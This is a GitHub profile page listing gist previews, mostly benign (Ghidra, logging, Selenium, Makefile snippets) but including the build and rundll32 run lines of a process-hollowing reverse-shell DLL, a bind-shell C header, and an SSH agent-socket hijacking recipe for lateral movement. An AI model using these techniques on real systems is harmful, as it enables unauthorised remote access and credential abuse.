Skip to content

Instantly share code, notes, and snippets.

View 11philip22's full-sized avatar
👽
planet rider

Philip 11philip22

👽
planet rider
  • /dev/chaos
View GitHub Profile
@FrankSpierings
FrankSpierings / func-params.py
Created February 3, 2020 19:20
Ghidra Script - Example of showing function call parameters within a function using the decompiler.
#Example of showing function call parameters within a function using the decompiler.
#@author Frank Spierings
#@category
#@keybinding
#@menupath
#@toolbar
import ghidra.app.decompiler.DecompInterface as DecompInterface
import ghidra.app.decompiler.ClangTokenGroup as ClangTokenGroup
@scragly
scragly / README.md
Last active November 14, 2020 15:24
QBittorrent WebAPI script for getting the size of all torrents.

Requires Python 3.6+

Only 3rd party dependancy is the Requests library. Install it with: python3 -m pip install requests

@11philip22
11philip22 / process-hollow-shell-dll.c
Created November 26, 2020 10:41 — forked from FrankSpierings/process-hollow-shell-dll.c
Reverse shell which uses process hollowing technique
// docker run -it --rm -v `pwd`:/tmp/building ubuntu bash -c "cd /tmp/building; apt update && apt install -y mingw-w64 upx && i686-w64-mingw32-gcc -O3 -s process-hollow-shell-dll.c -lws2_32 -lntdll -shared -o process-hollow-shell.dll; upx --ultra-brute process-hollow-shell.dll"
//
// Use -DDEBUG at compile time, for the logging printf messages.
// Use -DNON_MS_DLL_BLOCK at compile time, to block injection of non Microsoft DLL's into the host process.
// Use -DWAITFOR at compile time, to wait for the host process to finish.
//
// Run:
// rundll32 process-hollow-shell.dll,main 127.0.0.1 4444
// rundll32 process-hollow-shell.dll,main 127.0.0.1 4444 c:\windows\system32\cmd.exe
// rundll32 process-hollow-shell.dll,main 127.0.0.1 4444 c:\windows\system32\cmd.exe c:\windows\system32\notepad.exe
@simonw
simonw / log_to_sqlite.py
Created September 30, 2019 16:22
Class for logging structlog entries to a SQLite database
# Use it like this:
#
# structlog.configure(
# processors=[
# structlog.processors.JSONRenderer(),
# LogToSqlite("/tmp/logs.db")
# ]
# )
# log = structlog.get_logger()
# log.msg("say-hello", whom="world", num=[random.randint(1,55)])
@sousatg
sousatg / TwitterBird,py
Created February 13, 2016 17:45
Twitter private API wrapper class
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests, time
from lxml import etree
class TwitterHammer:
def __init__(self, username, password):
self.username = username
self.password = password
@geyslan
geyslan / shell_bind_tcp.c
Last active June 7, 2022 01:30
Shell Bind TCP in C Language (Linux/x86) - forlife
// This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/1st.assignment/shell_bind_tcp.c
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <unistd.h>
int main()
{
@FrankSpierings
FrankSpierings / process-hollow-shell-dll.c
Last active August 30, 2022 20:46
Reverse shell which uses process hollowing technique
// docker run -it --rm -v `pwd`:/tmp/building ubuntu bash -c "cd /tmp/building; apt update && apt install -y mingw-w64 upx && i686-w64-mingw32-gcc -O3 -s process-hollow-shell-dll.c -lws2_32 -lntdll -shared -o process-hollow-shell.dll; upx --ultra-brute process-hollow-shell.dll"
//
// Use -DDEBUG at compile time, for the logging printf messages.
// Use -DNON_MS_DLL_BLOCK at compile time, to block injection of non Microsoft DLL's into the host process.
// Use -DWAITFOR at compile time, to wait for the host process to finish.
//
// Run:
// rundll32 process-hollow-shell.dll,main 127.0.0.1 4444
// rundll32 process-hollow-shell.dll,main 127.0.0.1 4444 c:\windows\system32\cmd.exe
// rundll32 process-hollow-shell.dll,main 127.0.0.1 4444 c:\windows\system32\cmd.exe c:\windows\system32\notepad.exe
@hibariya
hibariya / Makefile
Last active November 11, 2022 10:35
Calling c function from x86 assembly code (cdecl)
OBJECTS = func.o main.o
CC = gcc
CFLAGS = -std=c11 -m32 -Wall -Wextra -Werror -c
AS = nasm
ASFLAGS = -f elf
all: $(OBJECTS)
gcc -m32 $(OBJECTS) -o main
run: all

Here's one of my favorite techniques for lateral movement: SSH agent forwarding. Use a UNIX-domain socket to advance your presence on the network. No need for passwords or keys.

root@bastion:~# find /tmp/ssh-* -type s
/tmp/ssh-srQ6Q5UpOL/agent.1460

root@bastion:~# SSH_AUTH_SOCK=/tmp/ssh-srQ6Q5UpOL/agent.1460 ssh user@internal.company.tld

user@internal:~$ hostname -f
internal.company.tld
@anhldbk
anhldbk / Selenium.Python.InjectJS.py
Last active April 15, 2023 03:53
Inject jQuery into Selenium Driver
from selenium import webdriver
driver = webdriver.Firefox()
driver.get('https://www.facebook.com/')
with open('jquery-1.9.1.min.js', 'r') as jquery_js:
jquery = jquery_js.read() #read the jquery from a file
driver.execute_script(jquery) #active the jquery lib
driver.execute_script("$('#email').text('anhld')")